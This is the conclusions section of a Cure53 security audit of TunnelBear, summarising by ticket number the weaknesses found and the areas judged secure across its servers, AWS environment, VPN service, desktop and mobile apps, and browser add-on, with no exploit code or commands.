cure53.de · mario@cure53.de

Conclusions

In order to materialize an accurate portrayal of the scope systems, Cure53 was provided with SSH access to test servers configured identically to the servers in production.

The configurations and deployment scripts were reviewed for potential limitations that could lead to insecure settings, which may enable attackers to escape containers, escalate privileges, or attack services remotely. The individual applications operate in Docker containers, which prompted the test team to assess these areas also. Whilst no problematic tendencies were noted regarding the setup and deployment, some shortcomings related to VPN client network permissions were witnessed.

The setup was also checked for post-breach scenarios that considered an environment whereby an attacker had gained root access to a specific node. To ascertain the likelihood of escalating to other TunnelBear infrastructure areas, the system was scanned for any prevalent credentials. Here, it was found that the *opscode* repository contains powerful credentials in older revisions. These were encrypted at some point previously but can still be obtained by rolling back the respective git repository, as detailed in ticket TB-11-012.

The web application frontend code was studied for client-side vulnerabilities such as XSS. As the web applications utilize ReactJS, the risk of correlating faults is relatively low owing to the application of effective encoding in most cases. Positively, no security concerns were discovered in this work package.

The implementation of the macOS version employs the NetworkExtension framework, which incurs myriad benefits that limit the threat surface. Cure53's dynamic testing strategies verified that all files and folders were installed with secure permissions, thus negating privilege escalation issues. The remaining attack surface, pertaining to communications between the unprivileged process and extension, was carefully reviewed. These efforts were also unfruitful.

The Windows implementation utilizes an alternative approach by installing a privileged service communicating via IPC with the unprivileged application. This protocol was scrupulously reviewed to ensure that the service cannot be abused for privilege escalations. Elsewhere, file permissions involving the binaries and config files were systematically inspected.

On Windows, Cure53 noted the presence of a SplitTunneling driver that may expose potential attack capabilities. Initially, the driver was reverse-engineered in an attempt to pinpoint erroneous behaviors, though the TunnelBear maintainers provided the source code upon request soon after, which enabled in-depth attack surface assessments. Nonetheless, this area was also verified to be risk-averse.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The TunnelBear Geneva project is based on a fork of an open-source implementation. Here, the commits and differentiating factors were studied to locate any security oversights, but to no avail.

Focused testing of the VPN nodes and tunneling service configurations was enacted, given that the provided service may be exploited to access protected and private services. Multiple vulnerabilities within this realm were identified by Cure53, enabling VPN users to establish connections with private services, as detailed in tickets TB-11-003 and TB-11-004. This resulted in the exposure of VPN tenant information, thereby undermining the fundamental purpose of VPN service utilization. Additionally, it was discovered that certain internal services forgo best practices concerning secret key generation, exacerbating the production environment's vulnerability to access by parties that already possess testing key material.

Notably, despite the predescribed access to these services, Cure53 confirmed that lateral movement in this context was infeasible. This attests to the implementation of robust security practices during the creation process. Injection opportunities and secret leakage instances were also wholly avoided.

Elsewhere, the Backend and PolarBackend projects were subjected to vigorous probing. Close scrutiny was applied to the handling of the request body across various API endpoints, which ultimately confirmed that all user input is exhaustively validated and sanitized. Consequently, no security detriments were identified concerning the misuse of untrusted user inputs at API endpoints, which constrains the overall attack surface. To summarize, this implementation was considered suitably durable and is successful in diminishing potential threat vectors on the server side.

Subsequently, the Overseer project underwent meticulous analysis for potential injection or mishandling of user input. During these procedures, the project withstood all compromise attempts and maintained a sturdy security posture. The Overseer console is safeguarded via Cloudflare Zero Trust for URL paths under the console directory. Extensive endeavors to bypass this protection were initiated via URL path tampering and request smuggling. Nevertheless, all bypass activities were successfully blocked, preventing access to the console APIs.

The careful enumeration of the AWS services and features for organization *113810520231* facilitated a comprehensive review. Cure53 honed in on scrutinizing the various characteristics deployed by TunnelBear, aiming to understand their integration and usage within the organization's broader infrastructure framework.

These particular security vetting actions commenced with a verification of the results discovered during the 2022 engagement. Here, Cure53 determined that several Lambda functions continue to possess appended secrets and sensitive data, as indicated in ticket TB-11-009.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Following this, TunnelBear's AWS resources were routinely scanned to uncover any vulnerabilities arising from misconfiguration or the use of insecure defaults. During this segment of the review, a trio of concerns surfaced that were specifically related to the RDS and Redshift frameworks, plus SNS implementation. These findings underscore the perpetual need for diligent configuration management and security practices to protect cloud-based infrastructures from a variety of plausible dangers in the modern era.

Moreover, an in-depth examination of the Cognito identity configurations was performed to identify any vectors for privilege escalation that could emanate from overly generous assume-right policies and objects. Despite these concerns, the current operational configuration was evaluated and determined to be secure. No vulnerabilities of this ilk were present, reaffirming the resilience of the established identity management system.

Based on the evidence collected, Cure53 can confirm that the security posture of TunnelBear's AWS environment is reasonable. The neutralization of past defects, in tandem with the favorable results of this latest exploratory project (which revealed only minor concerns), suggests that the TunnelBear developers are proactively committed to monitoring and improving the security performance of their products. The absence of any significant vulnerabilities at present, particularly regarding potential privilege escalation in Cognito identity configurations, reinforces the strength of the in-house team’s incorporated protocols.

With concern to the TunnelBear mobile applications, the client granted access to the Android and iOS counterparts as well as the source code for both systems, which were leveraged to conduct advanced auditing procedures via static and dynamic analysis approaches.

In relation to the Android app’s security premise, Cure53 noted certain aspects that would benefit from improvement. In particular, cleartext traffic is permitted (see ticket TB-11-002), which unnecessarily weakens transport security. Furthermore, the APK was found to be signed with a 1024-bit RSA key; this key length for RSA was deprecated years ago, as outlined in ticket TB-11-001.

In addition, the dynamic analysis revealed that a specific database containing sensitive user data on Android was unencrypted. This point of contention was raised by Cure53 in a previous audit as a miscellaneous issue but remains unremediated at the time of testing. With this, the test team extrapolated a recurring antipattern of neglect; some other previously reported vulnerabilities also remain unfixed, including insecure logging practices on iOS. Henceforth, Cure53 deemed it apt to group all relevant findings into a single ticket, TB-11-005, in order to reemphasize the preeminent risks.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Concerning the VPN protocols supported by TunnelBear, the OpenVPN extension - which is constructed upon the PIA-tunnel project - was painstakingly inspected in order to detect any negative security connotations, though these efforts concluded with a lack of results.

To summarize, Cure53 was unable to extract any serious vulnerabilities affecting the mobile applications, though some augmentations could (and should) be developed for heightened defense.

Lastly, regarding the TunnelBear browser add-on, the observation was made that certain sensitive user information (such as the *vpn_token*) is retained unprotected in the local storage, as highlighted in ticket TB-11-011. This is subpar from a security point of view; generally speaking, all sensitive information held by a platform should be encrypted.

To provide a conclusive comment at this closing stage, Cure53 would like to congratulate the TunnelBear developers for the extensive infrastructure upgrades since the previous examination iteration. Nevertheless, some lingering attack vectors were noticed that require mitigation. Moreover, a few issues from prior engagements are still unresolved and should be addressed at the earliest possible convenience. In light of this, one can suggest fixing all outstanding tickets to nullify the plethora of likely threats underscored in this report.

Cure53 would like to thank Dana Prajea, Dave Carollo, and Cameron Drysdale from the McAfee ULC team for their excellent project coordination, support, and assistance, both before and during this assignment.